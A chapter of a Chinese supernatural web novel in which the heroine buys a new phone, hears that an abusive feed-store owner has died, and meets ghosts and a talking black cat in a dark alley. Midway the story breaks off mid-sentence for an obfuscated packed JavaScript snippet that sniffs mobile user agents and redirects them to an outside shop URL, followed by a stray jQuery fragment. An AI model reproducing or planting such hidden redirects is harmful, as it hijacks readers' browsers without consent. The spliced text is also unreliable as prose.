8. 黑猫
    一天内进两次警局。

    第一次因为她在招待所洗澡,银清莫名来找,结果揪到一个偷窥洗澡的猥琐男。

    后来银清说:“你看到的婴孩没有恶意,是为了提醒你,有人在偷窥。”

    岑让川:“它怎么不干脆点把我吓死?”

    “把你吓死了……”银清微微拧眉,“难道你要下去当它继母?”

    想起那婴孩诡异的爬行姿态,岑让川已经对婴儿有深深的心理阴影。

    再来一次,她小命估计要交代在浴室。

    第二次。

    作为目击证人。

    店外监控完美证明岑让川和银清只是两个无辜路人。

    岑让川据实交代入店后经历的一切,只是隐瞒了看到灵异猫的事。

    出来后天色已经黑透。

    现在。

    他们不仅猫粮没买到,连手机也坏了。

    岑让川麻木地往手机店走去。

    手机店店主诧异地看到她又来了,不由问:“小姑娘,你又要买什么吗?”

    “……”岑让川掏出手机,放到柜台,“坏了。”

    他接过来,在柜台后边工作台上拆开手机,顿时被残留的雨水淋了一手:“进水,电路板坏了。这个不在保修期,我帮你修一修吧。”

    “修的话多少钱?”

    “嗯……进水严重,内屏也坏了,主板更换……需要八百。”

    “重新买一部,这部回收。”岑让川果断道。

    破手机新机才花了两千出头,修七修八也不知道会不会经常出故障。

    到时候时间成本太高,还不如换一部。

    这家店亮堂堂的,收费标准也挂在墙上,左面墙还有话费流量套餐。

    灯条照亮柜台,有几十部当季手机在售卖,按照镇子上居民的购物水平定价,均价在两千五左右,最贵的超不过五千。

    柜台里边有点乱,放着各类生活杂物。

    天花板上还有一台悬挂的台式电视,年代久远,旧时代的遗留物在这现代的装修下有些格格不入。

    此刻,上面正播放当地新闻。

    女记者身穿工作服,站在屏幕前端用家乡话播报。

    [今天下午三点左右,发生了一件骇人听闻的事件。有两名市民进入饲料店购买猫粮,发现该店猫粮是三无产品后与该店店主发生争吵。该女子发现饲料异常,从袋子中拽出一具猫尸后,店主突发腰疾倒下。与此同时,因年久失修,该店受潮严重,悬吊在天花板上的风扇坠落,导致该店主意外死亡。据本台记者调察,该店店主生前喜爱虐杀猫狗,曾因恶性事件入狱两次……]

    “哎嘛,终于死了。”手机店店主一边说一边把岑让川指的手机放在柜台上,“来,小姑娘,看看这个,跟你今天用的手机一样型号,就是颜色不同,淡青色的,你看看喜不喜欢。”

    “都行,就这个吧。”岑让川心痛地说。

    一天就折了一千块钱。

    她的一百万也不是大风刮来的啊!

    这都是她的精神损失费!

    偏偏这个时候,银清拽拽她的衣角,指着电视说:“我要那个,你给我买。”

    宅子是她前世留下的园子,钱也是她前世留下的金条,银清也是她前世留下的“冤家”。

    他身无分文,光剩一张脸和身材,语气那叫一个理直气壮。

    软饭硬吃是吧?

    岑让川悄摸瞪他,比他还横:“家里穷,没法给你买。给你买部手机自个刷着玩吧。”

    “这个……很贵吗?”银清犹豫地问,“要一百多万?”

    店主“噗嗤”笑出声:“你要是想要便宜的,明天去旧货市场淘一个二手的嘛,几百块就可以买到。我这个电视才花了几十。”

    银清听完,语气愈发坚定:“我要电视。”

    “你看我像电视不?”岑让川忍住不翻白眼,“咱那破地方,水没有电没有,要想装电视你先把水电搞上吧。”

    店主好奇心起,现在家家户户哪还有不通水电的?

    又不是贫困地区。

    他看二人面生,多问了句:“你们住哪啊?是哪家的孩子?”

    “噢,我和他一块住那边的老宅子。”岑让川没想瞒镇子上的人。

    银清也没说要保密。

    听说她住在那个地方,店主不确定地问了句:“凶宅?”

    “对,就那。我们来驱鬼的。”岑让川信口胡诌。

    “噢噢,原来是你,小镇里都传遍啦,说来了个陌生小姑娘接了大单子敢住凶宅呢。”此时手机数据传输完毕,店主也不跟她多聊,把新买的手机给她,末了又提醒说,“那个凶宅也不是一直没人住,应该有电路水管,你明天去查查,是不是欠费了。”

    “好,谢谢大哥。”岑让川住进去几天压根没来得及好好观察,得知这个消息她抗拒凶宅的心理总算减弱几分。

    哪个现代人能忍受与世隔绝的生活?

    没水没电没WiFi。

    银清锲而不舍:“那你后天给我买电视。”

    “……”

    岑让川:你小子对电视到底有什么执念?

    他们出了手机店。

    岑让川饿得不行。

    她想去找吃的,银清却不让。

    “我们回一趟饲料店。”

    岑让川:“你脑子没毛病吧?我们刚从警局出来,又要去那?”

    他没听说过,凶手会返回凶杀现场吗?

    虽然已经确定是意外,但他俩这时候回去也太惹人怀疑了。

    至于饲料店老板的死她总觉得哪怪怪的。

    太多意外,构成一个必然结局。

    她觉得这一切都与银清有关。

    岑让川犟不过他,只能跟着他走。

    白日明亮的巷子此刻漆黑一片。

    路旁还有黑影快速窜过。

    蟑螂在地上乱爬。

    上午刚发生过惨案,到了晚上附近的商家压根不敢做生意,生怕遇到什么灵异事件。

    是以现在这条巷子街上一点亮光都没有。

    连路灯也没开。

    饲料店依旧是案发现场时散乱的模样。

    连暗色血迹都未清除,大片暗色从店内流出,凝结在阶梯下的青石板砖上。

    “带我来这做什么?”岑让川回头。

    身后空无一人。

    银清不见了。

    “我靠。”她骂了声,想离开这条黑暗无光的小巷。

    刚转身,背后传来一声猫叫。

    “喵——”

    叫声在黑夜巷中显得格外凄然阴森。

    她没有回头,脚踝上却感觉到了点触感,冰冷的皮毛贴在她小腿上,还带着点湿漉。

    岑让川做好心理准备,慢慢低头看去。

    没了一只眼睛的绿色小猫,嘴里叼着一个小小的像祈福牌一样的东西,像是要给她。

    它浑身湿淋淋的,毛发沾着泥土,身形瘦弱,看样子不足两个月。

    岑让川紧张地张嘴:“要,要给我吗?”

    小猫“喵呜”一声,把祈福牌放在地上,一瘸一拐的折返回去。

    它们已经从一堆能压垮人的猫山散得差

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14013270|148642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不多了,只剩下零星几只。

    “救——我——”

    饲料店老板的求救声再次响起。

    他像是不知道自己已经死去,望着她求助。

    岑让川想到那座绿色的小山,捡起祈福牌,不知道哪来的勇气。

    她走过去,缓缓说出银清说过的话:“虐杀生灵之罪,永坠无间地狱。”

    他眼睛睁大,不敢置信地凝视她半晌。

    “救——我——”

    “救我……”

    “救我!”

    声音蓦地尖利。

    腐臭阴风迎面刮来。

    岑让川这才看清他被风扇叶切成三截,头身分离仅皮肉相连,腰身斩断。

    他下-半/身还在货架那踢蹬挣扎。

    上半身牵扯着头朝她爬来。

    早已凝固的暗色再次流动,随着他的动作流过来。

    “银清!银清!”岑让川吓得大喊,“银清!”

    她声音大得能让整条寂静小巷都听到。

    偏偏银清就跟从没出现在她身边一样。

    岑让川调头想往来时的路上跑,却听到另一个声音。

    滴滴嗒嗒——

    滴滴嗒嗒——

    滴滴——嗒嗒——

    水声淅淅沥沥。

    昏暗暗的巷子街口,忽而现出一抹红色。

    中式秀禾服、红盖头。

    飘飘忽忽,没有影子,朝她飘来。

    女人呜咽声从盖头下传来。

    “帮帮我……”

    岑让川后背抵住墙壁,冷汗如雨。

    她今晚就不该跟银清那个龟孙来这!

    “救——我——”

    “帮帮我……”

    “喵。”

    寂静的巷子,此时此刻喧闹地犹如市集。

    求救声凄厉。

    新娘声哀叫。

    猫叫声阴森。

    它们朝她涌来。

    毛毛雨飘飘忽忽洒下,她背脊已是一片冰凉。

    远处起雾,风把雾气带入黑巷。

    正当岑让川以为自己今夜回不去凶宅之时,雾中传来这个年代不会再有的打梆声。

    左侧新娘背后有花轿急速奔来,四个纸人面上糊着的颜料氤氲出难看的水痕,分辨不清五官。

    纸人掀起轿帘,装上半空中的新娘往另一边巷子口飘去,眼看就要撞上岑让川。

    朝自己爬来的饲料店老板身上不知何时出现锁链,一黑一白两道身影若隐若现,拽着锁链要把它拉回去。

    岑让川已退无可退。

    就在花轿要撞来的那刻,一道黑影出现。

    她听到风声,蓦地偏过头去。

    一双绿幽幽的双眼扑来,直接挂在她头上。

    尖利指甲抓进头皮,温热肚皮覆面,她吃下一嘴毛。

    “什么东西!”岑让川忙用手去抓。

    好不容易把它扒拉下来,岑让川定睛一看。

    这不是银清那王八蛋养的黑猫吗?!

    按理说黑猫都长得一样,可它的两个铃铛蛋是耀眼的白色。

    只是这几秒。

    黑巷异常已然消失。

    连饲料店的猫都不见了。

    她庆幸之余,又怒火冲冲,抓着黑猫后颈皮说:“老娘明天就带你去绝育!”

    “不行。”黑猫张开三瓣嘴,发出的却是成年男子声音。

    岑让川怀疑自己受惊过度,幻听了。

    她一把把黑猫丢出去,迈开两条腿往这条巷子外跑。

    黑猫穷追不舍,边跑边喵喵叫。